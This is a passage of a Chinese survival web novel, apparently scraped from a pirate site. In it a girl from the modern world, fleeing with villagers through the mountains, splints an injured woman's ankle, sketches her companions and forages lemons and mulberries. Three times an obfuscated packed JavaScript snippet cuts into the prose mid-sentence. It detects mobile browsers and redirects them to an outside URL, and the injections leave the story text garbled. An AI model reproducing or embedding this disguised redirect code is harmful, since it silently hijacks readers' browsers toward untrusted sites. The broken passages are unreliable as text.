周大把子安放下,沉声叮嘱:“子安,站这儿别动。”随即和周二蹲下身,目光锐利地扫视着地面。。 万幸,泥土上只有杂乱的脚印,未见大型猛兽的痕迹。周大心中稍定,现在只盼着林氏真是采野菜忘了时辰,并未走远。 众人循着地面被翻动的新鲜痕迹,深一脚浅一脚地向前搜寻。走了约莫一里路,周大猛地一抬手,示意所有人停下。四周寂静,只有风吹树叶的沙沙声,但凝神细听,似乎还能听到女人断断续续、压抑的呻吟。 “是大嫂?”周二也捕捉到了那微弱的声音,脸色一变。 众人心头一紧,立刻循着声音传来的方向奔去。呻吟声越来越清晰,带着痛苦。拨开一片半人高的茂密杂草,“当心!”周大眼疾手快,一把拽住差点踩空的李木——眼前赫然是一道陡峭的斜坡! 斜坡边缘的草有明显被压倒的痕迹。周大小心翼翼地探身向下望去,只见林氏僵卧在坡底,正痛苦地呻吟着。 “娘!”子安惊喜的大叫。 “翠兰,你没事吧?”周大将子安往周二怀里一塞,滑下斜坡将林氏扶起来。 “哎呦……周大,我的腿,我的腿动不了了……”,见到亲人,林氏的呻吟声更大了,带着哭腔,手指死死按着自己的脚踝。 周大顺着她的手看去,心猛地一沉——那脚踝已肿得像个发紫的馒头。“别乱动,怕是折了。”他沉声说着,利落地将林氏背到背上,借着坡上李木伸下来的手,奋力爬了上去。 “大嫂,除了腿,身上别处疼不疼?可摔着头了?”周二急忙上前询问,语气满是关切。 “娘!娘你怎么样了?吓死我了!”子安挣脱周二的手,扑到林氏身边,紧紧搂住她的脖子,小脸上满是泪痕。 被众人围着,脱离了那绝望的境地,林氏惊魂未定的心才慢慢平复下来。她搂着儿子,声音还有些发颤:“唉,都怪我……这不是看这些野菜长得好嘛,我就想着多采些,谁知道这里会有一个斜坡啊!没留心就滚了下去!还好你们来了,刚才我一个人躺在那底下,喊破了喉咙也没人应,真是魂儿都吓飞了!”说着,她仍心有余悸地打了个哆嗦。 “好了,人找到就好,先回去。”周大果断打断还想细问的众人,重新在林氏面前蹲下,“有什么话,回去了再说。” 营地这边,江诚一直紧张地眺望着树林方向。远远看到人影,他立刻跳起来:“阿姐!回来了!周大叔他们回来了!周大婶也在!”江夏闻言猛地抬头,果然看见周大背着林氏的身影出现在视野中。 江夏立刻迎上去,声音带着急切和愧疚:“周大婶!您这是怎么了?伤着哪儿了?怎么去了这么久?”她一连串地问着,眼眶有些发红。 “大嫂脚踝骨折了,得先让你周大叔仔细瞧瞧。”周二拦住想凑近的江夏,语气温和但又坚定。 江夏只好停下脚步,站在周二身边,依然满脸担忧:“周二叔,周大婶她……伤得重吗?到底怎么回事?” “采野菜时不小心滑下个坡坎,把脚崴折了。眼下看着就这处伤最要紧,旁的还得等你周大叔检查了才晓得。”周二看着江夏脸上浓得化不开的愧疚,轻轻拍了拍她的肩膀安慰道,“听你大婶说话中气还算足,别太担心,人找回来就是万幸。” “都是我不好……”江夏的声音低了下去,自责像潮水般涌上心头,“我应该陪着大婶去的。就算不能陪,也该时时记挂着这事……可我……我光顾着弄那个箱子,竟把这么要紧的事忘得一干二净……” 14. 湿画素描 周二打了盆清水端进窝棚,江夏紧跟在他身后也走了进去。目光一触及林氏那肿胀得发紫的脚踝,自责感又涌了上来,“对不起周大婶,我光顾着做东西忘了时间,也忘了去找你,害你一个人呆在林子里这么长时间……” “嗐,这跟你有什么关系?”林氏躺在草铺上,额头上是因为疼痛而冒出的细密汗珠,“是我自个儿贪那点野菜,没看清脚下才摔下去的。” 周二把水盆搁在周大手边,“大哥,大嫂脚咋样了?” “没大事儿,就左脚崴了,别处没伤着。”周大捞起水里的帕子给她擦着伤处,声音平静。 “那就好。”周二松了口气,“大嫂,你可得好生歇着了。为了野菜把脚崴了,下回可不能这样。” “知道啦,”林氏撇撇嘴,瞥了周大一眼,“你大哥刚都训过我一顿了!” “那也为你好。这大山里多危险啊,你一个人也敢跑那么远!今天还好没遇到猛兽,不然你脚动不了,不是送它嘴里吗?” “昨儿去不是没事嘛,谁知道今天这么背,偏偏遇到个陡坡…”林氏的声音在周大盯着她的目光里弱了下来。 “哎,”她像是想起什么,转头问江夏,“小夏,你之前不是提过,那个……婆婆丁能治跌打伤?是真的不?我这脚火烧火燎的疼。” “是真的!周大婶你等着,我去给你弄来。”江夏眼睛一亮,仿佛抓住了一根赎罪的稻草,立刻转身出去。 她快步走到停在一旁的板车,从上面一个篮子里小心取出昨天洗净、晾得半干的紫花地丁,再塞进自己饭后洗净的竹筒里。又寻了根光滑的木棍,仔细洗净,然后跪坐下来,开始用力地捣杵。绿色的汁液渐渐渗出,混合着捣烂的花叶,散发出淡淡的青草气息。 捧着盛满药糊的竹筒回到窝棚,林氏的脚踝已被周大用清水擦拭干净。江夏小心翼翼地用手指挑起那绿莹莹的药糊,均匀地敷在红肿发烫的脚踝周围。 药糊触到皮肤,林氏舒服地“嘶”了一声:“哎哟,凉丝丝的,好像真没那么火烧火燎了。”江夏闻言,紧绷的心弦稍稍放松,用干净的旧棉布条将敷药处仔细包裹好。 “这伤处千万不能乱动,”江夏语气严肃起来,带着一种不容置疑的认真,“不然骨头长歪了,以后走路都麻烦。”说完,她又起身走了出去。 从外面摆放的竹竿中挑选了一根粗细合适的,请陈东将竹子劈成两半,再用小刀仔细地刮掉内侧的竹节和毛刺,确保内壁光滑。 陈青在一旁默默看着,好奇地问:“小夏,你这是要干啥?” “周大婶的脚踝骨头伤了,光敷药不够,得固定住不能动,骨头才能好好长回去。”江夏一边解释,一边从陈东手里接过那两片打磨光滑的竹片。 她回到林氏身边,小心地将竹片一左一右贴合在包裹着药布和棉布的脚踝两侧,调整好位置,确保夹板完全覆盖并固定住了伤处。然后她用准备好的几根结实麻布条,一圈一圈,力道适中却又稳固地将竹片紧紧绑缚住。 “这样……就行啦?”林氏试着轻轻扭动了一下脚踝,发现自己的脚踝动不了。 “嗯,就这样固定着,千万别自己拆开乱动。药每天换一次。”江夏轻声叮嘱道。 “小夏你懂的真多,真不愧是仙子转世啊!”林氏看着自己被江夏包裹的严严实实的脚,忍不住感叹一句。 江夏只抿嘴笑了笑,“周大婶,那你好好歇着。”说完,利索地收拾好手边的东西,转身出了窝棚。 窝棚外,周大和周二就守在门口。见她出来,周大沉声道:“辛苦你了,小夏。” “周大叔,您别客气。”江夏摇摇头。 “就是,”周二也接口道,拍了拍江夏的胳膊,声音放轻了些,“小夏,你也甭太往心里去。今儿这事,真怨不着你。要不是你懂这些草药,大嫂这会儿还得干疼着呢!” 听着周二安慰她的话,江夏抿着唇,轻轻“嗯”了一声。心头沉甸甸的愧疚感似乎被冲淡了些。 周大目光扫过聚在窝棚前的众人,沉声说道:“这次是个教训。以后,谁也不许再一个人往林子里钻!要采什么、办什么事,至少两人同行,互相有个照应。” “知道了!”众人纷纷应声。 “大哥说得对。”周二应和着点头,脸色也严肃起来,他环视众人,“我们现在停下来本是为了养好伤,攒足力气再上路。这大山里头,多停一天就多一分凶险,且不说吃的用的耗不起,万一谁再有个闪失,我们就真的很难走出大山了!而且现在已经初夏了,再过一段时候就是雨季,那时山路会更加难走…” 听到雨季,所有人的脸色都有些难看。其他人即使不像周大周二二人经常进山打猎,但也是在山边上长大的,对于雨季中大山的危险还是有所耳闻。 大雨除了会影响视线和方向,导致在林中迷路,还可能会导致山洪和毒蛇毒虫的频繁活动。这些都会增加他们赶路的危险性。 此话一出,一股无形的沉重气压笼罩下来,连中午的蛇羹都没能再提起众人的兴奋。 接下来的几天,众人都自觉的呆在营地,不再提进山打猎。实在馋荤腥了就编了几个鱼篓放在小溪里捕鱼。虽然收获不算丰盛,但也能打打牙祭。 这日,天气晴好。江夏早起走出窝棚就看见周大在教子安和江诚打拳,一招一式姿态沉稳。周二和李木在处理鱼获,淡淡的鱼腥味随风飘散过来。刘老三则接过之前林氏的活计,正在临时搭建的灶台前守着咕嘟冒泡的陶罐,不知里面煮着什么,热气氤氲。陈东陈青二人坐在树荫下,手指翻飞,在给林氏编竹椅,好让她能坐在外面晒晒太阳。 这鲜活、喧腾又温暖的烟火人间,像一幅生动的画卷撞入江夏眼底,一股强烈的创作冲动油然而生。说干就干,当即回身取了纸笔出来,在平整处铺好素纸。目光在忙碌的众人身上流连片刻,便不再犹豫,提笔蘸墨,手腕悬动,线条开始在纸上流淌。 阳光从她身后倾泻,在她身前拉出一道清晰的影子。随着日头悄然爬升,那影子也由长变短,由浓转淡。 最后一笔落下,江夏搁下笔,笑意盈盈的看着自己的作品。 “阿姐!你画得真好!” “小夏姐,你好厉害呀!” 一连串清脆的赞叹声在耳边响起,江夏这才惊觉,不知何时身边已围了好几个人。子安、江诚仗着自己小,挤在人群最前方,眼睛亮晶晶地盯着画纸,小脸上满是惊奇和崇拜。 “小夏,你这画的也太像了吧,”刘老三弯着腰,眯缝着眼仔细瞧那画,“周大哥打拳的架势,李木那吊儿郎当劲,还有陈东陈青俩编竹椅那低头耷脑的模样都出来了!嘿,虽说脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人再次围拢上来,对着那片小小的竹片啧啧称奇。 “哎!别碰!别给我摸花了!”刘老三见状,急得直嚷嚷,慌忙伸手去护,“快给我!给我看看!”他宝贝似的把竹片抢到手里,仔细端详,本就不大的眼睛,这会儿更是只剩下条缝。 江夏看着他那紧张样,笑着提议:“三哥要是怕颜色日后淡了,也可以用刻刀沿着这墨线浅浅地刻出来,那就经久耐用了。” “嘿嘿,不用不用,这就挺好!挺好!”刘老三把竹片紧紧攥在手心,生怕人抢了去,“我可没那手艺,再给刻坏了,就糟蹋好东西了。” “小夏!也给我画一个吧!”周二看得眼热,立刻喊道。 “还有我!还有我!” “小夏姐,给我也画一个吧!” “阿姐我也要!” 一时间,七嘴八舌的请求声此起彼伏,充满了期待。 “好,好!”江夏被大家的热情感染,笑着应承下来,“正好这几日清闲,那就都画上!” 接下来两日,江夏便成了营地里最忙的人。待到完工时,每个人手中都多了一块青竹片。竹片青色一面刻着各自的名字。翻过来的一面则是江夏用简练传神的笔墨勾勒出的人物小像。 15. 重新出发 数日的休整,营地里的人大多恢复了元气。只林氏的脚伤未愈,队伍只能滞留在原地。 然而,人可以歇着,五脏庙却不能停了供奉。他们逃出城时匆忙,每个人带的粮食都不多,虽然这几日都是一点米煮一锅稀得不能再稀的米汤,但米粮的袋子依旧以肉眼可见的速度瘪了下来。粮食的消耗让人心里不安,虽然大山里物资丰富,但粮食却是没有的。 而且从这里到岐州还有千里之遥。周大等人商量后,就决定尽早出发,林氏则由周大背着,板车在山中的使用有限,只能放弃。 于是这日天光微亮,众人已经起床生火做饭。昨夜下过一场雨,山林中水汽氤氲,一阵风吹过还有些冷呢。 江夏起来后先去给林氏的脚重新上了草药,再将自己和江诚的随身物品整理好放在了之前请陈东兄弟编的竹箱里。东西不多,不过几件衣服布巾,一包她刚晒好的蒲公英花,一个装着文房四宝的盒子和一个她的首饰匣子。说是首饰匣子,其实里面统共也没几样首饰,两朵珠花,一个细细的银手镯和一个小小的银质长命锁。 江夏拿起那个长命锁,江诚也有一个,和这是一对的,不过他那却是金的。因为江城早早展现他在读书一事上的天赋,于是江父江母在他五岁生辰时给他打了这长命锁,以求平安。 当时原主江月是没有的,是后来江父江母耐不住江城的软磨硬泡,只好也给她打了一个,可也只是个银的。江月也是心高气傲,觉得父母偏心,这锁也从未带过,都是扔在这匣子里。 可现在她的银锁还在,江城的金锁却已经没有了。 将锁重新放了回去,合上匣子,再放在竹箱里。箱子里还有陈东他们为她做的竹片,这是之前看她用竹片给他们画画,后来空闲时,两人就又给她做了不少,有大有小。 “阿姐,饭好了,快来吃啊!”江诚大声喊道。江夏过去,发现今天的早食竟然比往日的都要丰盛。 不是稀得能照见人影的米汤,而是稀饭,里面还掺着剁得细碎的野菜,旁边周二和李木还在烤鱼,不过巴掌大的小鱼烤了十来串。 “今日出发,估计在路上就不好停下来生火做饭了,所以早上吃好些,也有力气多赶些路。”看到江夏,刘老三笑着开口解释道。 江夏点点头,拿过自己的竹碗给自己盛了一碗稀饭,又接过周二递来的烤鱼,蹲在一旁边大快朵颐,边听他们说话。 周二:“昨天下过雨,今天的山路估计会很难走,我觉得能翻过五座山就是极限了。” 李木不认同,“之前我们进山打猎都有意识的往南走,至少从这里过去的两座山头我们都是比较熟悉的。所以我觉得应该能多翻两座山头。”说完转头看向周大,“大哥,你觉得呢?” 周大低头看着手中的简易版地图,闻言抬起头,“不管翻多少座山,我们今天都是要赶一天的路,能走更远自然是最好。我们从十万大山走到岐州,会经过同州、商州和原州,这上千里的路程,就算一路顺利,估计也要走上两个多月,快三个月。” 周大将地图收了起来,站起身,“时间紧迫,快点收拾东西,我们再过一刻钟就出发,不然一会儿太阳就出来了。” 其他人闻言而动,迅速的将营地中的东西收拾起来,能放进背篓的都放进背篓背着,实在不好带的,就只能扔在这里。 江夏也吃完了自己的早食,满足的摸了摸自己的肚子。上辈子她是地地道道的南方人,对于米饭的渴望远不是面食可以比的。 将自己的碗筷洗净放在自己的箱子里,江诚已经背好自己的小背篓走了过来,“阿姐,你伤刚好,还是把一些东西放我背篓里吧。” 江诚的背篓里也很空,一个装满水的陶罐,他自己的碗筷,还有一个小竹篮,竹篮里铺着几片大大的叶子,上面放着四个野桃,是昨天周二他们进山时意外发现的。 江夏笑,“不用了,这点东西不重的。等我真的背不动了,再交给你。” 看到周大几人开始用草绳将裤腿和袖口扎紧,又在鞋的外面套上操草鞋,也连忙拉上江城学着他们裤腿和袖口扎紧,顺手将一顶竹编斗笠扣在了江诚的脑袋上。 江诚抬头扶着斗笠,一脸疑惑的看着她。“带着斗笠能防止林子里那些盘踞在枝头上的蛇,或是冷不丁掉下来的毛虫,安全些。” 江诚闻言,视线上移,看到江夏背在身后的箱子上就有一个竹编的顶,也不拒绝,乖乖的点头应下。 周大将林氏背在背上,又用粗麻布条在她身上缠了几圈,系在自己身上,这样可以省力。 “都齐了?”周大目光扫过众人,沉声道,“出发!” 周二手持砍刀走在最前头开路,周大背着林氏走在队伍中间,李木殿后。江夏和江诚各抓着一根结实的木棍,走在刘老三和周大中间。 林中草木茂盛,虽然李木说这条路他们走过多次,可这林中草木遇水则长,只一天没走,那路就已经看不出来了。 江夏紧跟着前面人的步伐,每一步都小心翼翼。脚下厚厚的落叶和残枝吸饱了水,踩上去又软又滑。加上脚上的布鞋被路旁杂草上积聚的雨水打湿,寒意直往脚心钻。 越往密林深处走,树木愈发高大,光杆似的树干直冲云霄,往上三四丈的距离才开始有分叉。树冠枝繁叶茂,走在下面有股阴森森遮天蔽日之感。连空气都仿佛凝滞住,弥漫着浓重的、带着土腥气的腐叶味道。 江夏觉得胸口发闷,眼前阵阵发黑,喉咙里像堵了团湿棉花,令人喘不过气。她知道这是因为山体的阴坡由于光照时间短,土壤湿气大,腐殖质大量耗氧分解,释放二氧化碳。同时密闭的林冠层会阻碍空气的流通,导致树下氧气含量较低产生的“窒息”感。 而同样有“窒息”感的不止她一个,她能清楚的听到身前的刘老三和身后的周大都发出粗重的喘息声。 “大家再坚持一下,我们马上就要走出这片密林了。”周二回身说道。 江夏拉住江诚的手,努力拄着木棍往前走。大约又走了两刻钟,众人才终于脸色苍白的从那处密林中走了出来。 “先原地休息一下吧。”周二话落,所有人都四散开寻找可以坐下休息的地方。他们已经走了两个多时辰,连着爬了两座山,此刻腿都在打哆嗦。 江诚从背篓里取出陶罐递给江夏,“阿姐,喝点水吧”,江夏接过喝了一口,早上煮好的开水,现在已经变得冰冷。 润过嗓子后,江夏递还给他,“你也喝点吧。” 江夏在原地休息了会儿,感觉力气恢复后,就站起身仔细观察着周围的景色。雨后的山林,一切都显得格外鲜亮,水珠在叶尖滚动,不知名的鸟雀在密林深处鸣叫。 下过雨的树林中有菌子大量生长,想到这一点,江夏就挥动着手里的木棍,仔细在周围的草丛中寻找菌子,果然被她发现了好东西。 不远处横卧着一棵枯木,走近就能看到那棵枯木靠近地面的一侧密密麻麻长着黑色的东西。 是木耳! 江夏欣喜地蹲下身,三两下全摘了丢进背后的竹箱里,又绕到枯木的另一侧,那里同样长着许多的木耳。 将这棵枯木上的木耳全部摘了,江夏在周围转了转,又发现了许多的草菇,平菇。一窝一窝长在树下,剥开杂草和落叶就能看到,像寻宝一般,江夏越挖越兴奋。 她想起上辈子自己和朋友们挖菌子时的快乐。当时她的一个室友是四川的,经常在宿舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668600|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群里分享自己或她家人上山采菌子的视频。看的她们十分眼馋,后来大二暑假一整个宿舍都跑去四川呆了将近两个月,充分体会了一次采菌子的乐趣。 不过那时纯粹是为了体验和玩乐,而现在却是为了生存。不过也多亏了当时的一次体验,她现在才不至于两眼一抹黑。 “呵呵呵呵!”江夏举着她刚采到的羊肚菌,笑得一脸灿烂。 刘老三在她不远处也在采菌子,听到江夏的笑声,“小夏,采到啥了,笑得这么开心?” 江夏:“三哥,是羊肚菌!” “呦,这是个好东西啊!”,刘老三也是一脸欣喜,“要是有肉就更好了。” 刘老三刚说完,就听到子安一声大叫,把大家吓了一跳。忙转身望去,就听见“扑棱棱”一阵翅膀扇动的声音从草丛中传来,紧接着就是一只拖着漂亮尾羽的野鸡从中窜了出来。 江夏:“!”说什么来什么?! 那野鸡原是在草丛中觅食,被子安打草给惊飞了,慌忙逃窜中朝着将江夏的方向飞了过来。 “小夏,快打草,把它赶过来!”周二大喊。江夏入梦初醒般,挥舞着手中的木棍,将周围的杂草打得“哗哗”作响。结果那野鸡竟然张开翅膀从江夏头顶飞了过去! 江夏:“……!”什么玩意,虽然她现在身高的确不高,但这样很伤人诶! “唉……”眼看着一盘肉从自己面前飞走,刘老三长叹了一口气。 江夏更是气恼,边往前走,边用力挥动手中的木棍,狠狠抽打在周围的草丛上。 “啪!”有什么掉落的声音传来。江夏吓了一跳,用木棍小心翼翼的剥开草丛,看到地上是一个小小的黄皮果子,长舒一口气。 还好,不是什么奇怪的动物! 江夏将那果子捡起来,果皮粗糙,一股酸甜的气味传来,这不是柠檬嘛! 虽然比起后世的柠檬,这柠檬长得偏丑也偏小些,但的的确确是柠檬啊! 江夏高兴的拿着那果子,再低头看刚才自己抽打的地方,在一片绿叶中看到两朵颤巍巍的白色小花还开在枝头。有一棵不足一米高的绿树长在草丛中,与周围的绿叶完美融合在一起。 刚才自己只顾着埋头在地上寻找菌子,竟然没想到抬头看一下周围的植物。 这柠檬树不足一米高,枝条纤细,现在被自己一棍子打没了脑袋,就更加矮小了。不过要不是自己一棍子将柠檬打掉下来,自己还真不一定能够发现。只可惜这棵柠檬树上仅有这么一颗果子,还被自己打掉了。 江夏在周围又发现了两棵野生的柠檬树,比刚才那棵要更大些,树上结的果子也更大更多些。三棵树统共摘了八颗果子,这份意外收获让刚才的懊恼也消散大半。 她收拾好柠檬,抬腿准备返回大部队。然而,刚走出几步,又忍不住退了回来,目光落在刚才第一棵柠檬树上。一个念头冒了出来:“自己可不可以将它挖了带走呢?” 对于他们这种长时间在林中行走的人而言,很容易缺乏维生素导致出现各种皮肤性疾病,而柠檬富含维生素,正是解决这种问题的天然良药,同时也是做菜料理的天然调味剂。虽然自己现在找到八个柠檬,可他们这支小队总共十人,一人一个都不够分。若是能将它移栽成活,那就是一份可持续的资源。 想到就做! 江夏立刻蹲下来用木棍将柠檬树周围的土壤一点点挖松,再顺着裸露出来的根茎往下挖,等到大部分的根茎都暴露出来,才伸手握住树干的底部,双手用力,将整棵小树连根拔起。 仔细检查了下,根茎基本完整,她从旁边挖了些湿润的泥土包住根茎,再摘了一片大叶子将整个根茎土团严严实实的包裹住。 16. 采摘野果 看到江夏回来,江诚小跑着迎上来,“阿姐,你看我采了可多蘑菇呢。”说着转身将背后的背篓给江夏看,的确原本还很空的背篓此刻已经满满当当。 “干得不错!”江夏给他竖了个大拇指,江诚显然是不明白该手势,“这表示称赞、赞扬。”江夏解释。 江诚恍然大悟,“是在仙境里看到吗?” 江夏:“呃……算是吧。” “这是……树?”江诚看着被江夏拿在手中,枝叶稀疏,根系被叶子包裹住的植物,不确定的问道。 “嗯,是果树。”江夏将树放下,从背后的箱子里取出一个柠檬递给他,“喏,就结这种果子。” 江诚接过,好奇的翻看着手中这个陌生的果子,凑近鼻子用力嗅了嗅,眉头蹙起,“唔……怎么闻着有股酸味啊?是不是还没有熟透啊?” “熟啦。它本身就是这个味儿。”江夏笑得眉眼弯弯,“这果子叫柠檬,是很有营养的一种果子。” 江诚因为从小有听原主说一些奇怪的话,所以现在咋然听到江夏说“营养”这个陌生的词,他也没有觉得很奇怪,只在心底将“营养”默认为“好吃”,二话不说,张嘴“咔嚓”就是一大口,动作快得江夏连“哎”字都没来的及喊全。 看到江夏拿着一棵树回来,江诚好奇的围上来,他后背的背篓里也装了不少的菌子,“阿姐,我采了好多菌子呢这是什么?” “噗——!”下一秒,江城整张脸都像是被一双无形的手给狠狠挤到一起,眼角也泛起生理性的泪花,委屈巴巴地控诉,“阿姐骗人,一点也不好吃!” “噗哈哈哈!”江夏看他这副样子,实在没忍住大笑出声,“谁骗人了,我可从没说过好吃啊。再说了,这本身就是酸果子,你还咬那么一大口,不酸你酸你酸谁!” 江诚看着手中被自己咬了一口的果子,有心想要扔了,但又不敢,只好小声嘀咕:“这么酸……真的能吃吗?”看着自己笑个不停的姐姐,心里直犯嘀咕:阿姐莫不是认错果子了?可看着阿姐笃定的样子,他又不好意思直说怀疑,怕扫了阿姐的兴。 “当然能吃。”江夏止住笑,掐了下他被酸的还有皱的小脸,“生吃是太酸了些,大部分人都是吃不习惯的。可以切成薄片泡水喝,还能当调料做菜,做鱼的时候,滴几滴汁儿下去,就能去除鱼的腥味。” 见姐姐说得头头是道,不像是开玩笑,江诚这才信了七八分,注意力又很快回到那株小树上,“阿姐你是准备带着这棵树一起走吗?可这样……会死吧?”他蹲下身,看着只用树叶包裹住根系的小树。 “是啊,我也在想办法。”江夏也蹲下身,眉头紧锁,“这在野外,花盆什么的是别想了,总不能把我们吃饭的陶罐拿出来吧。” “这不行的阿姐。陶罐是我们用来装水吃饭的,可不能用来装树。”江诚一脸惊恐,生怕自己姐姐为了这棵树真把陶罐拿去了。 “傻瓜!”江夏气得一巴掌拍在他脑袋上,“你姐我是这种人吗?人和树谁更重要,我还是知道的。” “你们俩个蹲在这里干嘛呢?”周二的声音从二人背后传来,“在看树”,回头望去,就看到周二递到二人眼前的手,手中握了一捧黑红色的形似毛毛虫的小果子。 桑葚?! “找菌子的时候,发现前面有棵桑树,上面结了不少的桑果子。摘了些给你们”,说着手又往前递了递。 二人道了声谢接过他手中的果子,各捻了一个放进嘴里,酸甜酸甜的,但甜比酸多。 江诚看了江夏一眼,这才是正常的果子! 江夏也感受到了江诚的视线,但却没有回头。本身就不是同类型的果子,自然不能直接比较。 “看树?看啥树?”周二探头看到那棵小柠檬树,“你挖的?”这话是对着江夏说的。 “嗯”,江夏点点头,“现在在想办法该怎么将它带走。” 周二:“这不简单,陈东他们不是做了不少竹筒带着,你问他们要一个装着不就行了。” “不行吧,”这之前江夏也想过,“那竹筒太小了,种花还行,种树……不太行。” “那让他给你砍个大竹子呗。”周二说得毫不在意,“就你那小树,七八寸宽的竹子就够你装了。” “啊?”江夏一脸懵,她苦恼这么久的问题,在他这里怎么感觉这么简单。 见江夏似乎不信,周二接着说,“没逗你,七八寸的竹子又不难见。只是这种竹子又大又重,搬起来太麻烦,所以我们之前才没有砍。” 反应过来的江夏立刻对着周二道了声谢。心头压着的一块石头就这样被搬离了,心情愉悦的往嘴里又扔了一个桑葚。 真不错!可以多采些带在路上当零嘴吃,“周二叔,前面还有吗?” 周二也明白她是想多采些,点点头,“还有不少呢,我只采了下面容易的。你要过去的话就去吧,李木他们现在还在采。”说着给他们指了个方向。 江诚四周看了看,想找子安一起,却没有看到,“子安呢?” “刚才子安没捉到那野鸡,有些不太开心,大哥就带他走了,估计一会儿就回来了。” 点头表示了解,江夏二人将背篓放下,拎着着小竹篮就按着周二指的方向过去。 走了没多远就听到陈东的声音,“这里!这里还有!”,走进一看,就看到陈青和李木二人站在树上,用腰带将竹篮绑在腰间,听着陈东的指挥采摘着桑葚。 “陈东哥!”江诚兴奋地大喊,三人都望了过来,“李木哥!陈青哥!” 陈东看到他们手中拎着的篮子,问“你们也来摘果子?” “嗯嗯”,江诚连连点头,“周二叔告诉我们,说你们在这里采桑果子,我们也想来采一些。” 陈东:“行啊,把篮子给我。等他们的篮子装满了,就给你摘。” “谢谢陈东哥。”江诚将手中拎着的篮子交给了陈东,也没有说想要自己上树亲自摘。 他自小父母就对他要求严格, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668601|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上树下河之类的小男孩常玩的活动,他都不太擅长。这棵桑树又格外的高大,外加下过雨,稍不留神就可能从上面滑落。 “陈东!接着!”李木率先摘满一篮子,用腰带将篮子送了下去,又从陈东手里接过江夏二人的小篮子。 江夏和江诚俩走到桑树下,抬手摘了几颗果子,红色更多些,吃进嘴里也比刚才周二给的要更酸些。伸手想要去够树上那些黑色成熟的果子,可惜两人的身高都不高,够不着,只能眼巴巴看着李木和陈青在树上如同猴子般灵巧轻松的左右腾挪,将那些乌黑饱满的果子收入囊中。 上辈子的自己身高就不算高,一米六二,虽不矮,但还是非常羡慕那些一米七有着大长腿的女生。没想到重来一辈子,上天还是没有实现自己这个心愿。 原主这具身体的身高估计在一米四到一米五之间,虽说现在只有十三岁,以后可能还会长高,但想要达到她心心念念的一米七应该不太可能。更何况他们现在还在逃难,营养补充就是一大难题。 “阿姐,”江诚拉着她的手晃了晃,“要走了。”江夏从自己的思绪中清醒过来,李木他们已经采摘完桑葚,正在整理自己的腰带。 拎着三篮子的桑葚回到大部队中,其他人都已经回来了,子安看到江诚拎着的一篮子桑葚激动的跑过来,“你采了这么多的桑果子啊!” 江诚:“不是我摘的,是李木哥和陈青哥他们摘的。”说着将篮子递到他面前,“你要拿点吃吗?” “好啊。”子安也不客气,伸手在里面抓了一把,“二叔刚才也给了我一把,可甜了。我原本也想去找你们的,我爹不同意。” 周大站在前面对着李木他们几人说:“东西都摘的差不多了吧?拿上东西,我们该出发了,已经在这里耽误太多时间了。” 江夏和江诚将自己的背篓背上,跟着大家重新往下一座山走去。 山路崎岖狭窄,加上每个人的负重都有所增加,行走的速度比之上午要慢上许多,等到日暮西斜,众人才翻过第二座山。 “看来今天只能走到这里了。”周二回身和周大说话。周大背着林氏,此时也是满头大汗,大喘着气回,“那就先找个地方歇下来,天黑了再走也不安全。” “那大哥你们先在这里歇着,我和李木去前面找找看有没有可以歇脚的地方。”喊来李木,二人朝前面走去。 江夏和江诚找了块石头坐下,用力揉着自己的小腿。这具身体终究是太弱了。年纪小,底子薄,又遭了重伤。一天四座山翻下来,感觉腿已经不是自己的了。 “阿姐给,吃个桃子。”接过江诚递来的野桃,咬了一口,有些硬,有点酸涩,远不如后世经过人工培育筛选后的桃子那般甜美多汁。但现在她也没有力气挑剔。 周二他们回来的很快,江夏一个桃子还没有吃完,他们就回来了。 “大哥,前面是一片杉树林,地势还算平坦,要不我们今晚就先歇在那里?” “行。”周大点点头。 17. 平静危机 天很快就黑了下来,将山林浸入浓稠的墨色。时不时还能听到草丛深处传来细细簌簌的碎响,像是有什么动物走过。远处隐隐绰绰的山影,如同藏在黑暗中的巨大猛兽,随时可能猛扑过来,将人撕碎。 晚餐是早上剩下的烤鱼和一锅新煮的菌菇汤。滚烫的汤汁带着蘑菇特有的鲜香清甜,一口下去,瞬间驱散了夜晚的寒意和疲惫,鲜得让人直咂舌。 山中昼夜温差大,中午的山林闷热如同蒸笼,入夜后寒气又顺着衣袖往里钻。吃过晚饭,大家简单洗漱,围着篝火席地而卧。 火堆熊熊燃烧,噼啪作响。江诚紧紧贴着江夏,江夏将带着的衣服拿出来披在二人身上,就这么胡乱的凑合一晚。 天亮之后,简单吃了点东西,便开始了一天的跋涉。 穿过这一片宽阔无比的山腹密林,面前就出现一条清澈见底的小溪,稍作休整,打了点水后,再往前拐过一道弯,眼前风光骤然一变。 举目望去,群山如戟! 一座座孤峭挺拔的山峰拔地而起,直插云霄,犹如无数沉默的巨人,威严地矗立在天地之间。峰峦叠嶂,覆盖着浓得化不开的深绿,竟不见半分裸露的岩石。 看着这一座座高山,江夏只觉得自己脑袋发晕,双腿也在不停的打着颤。 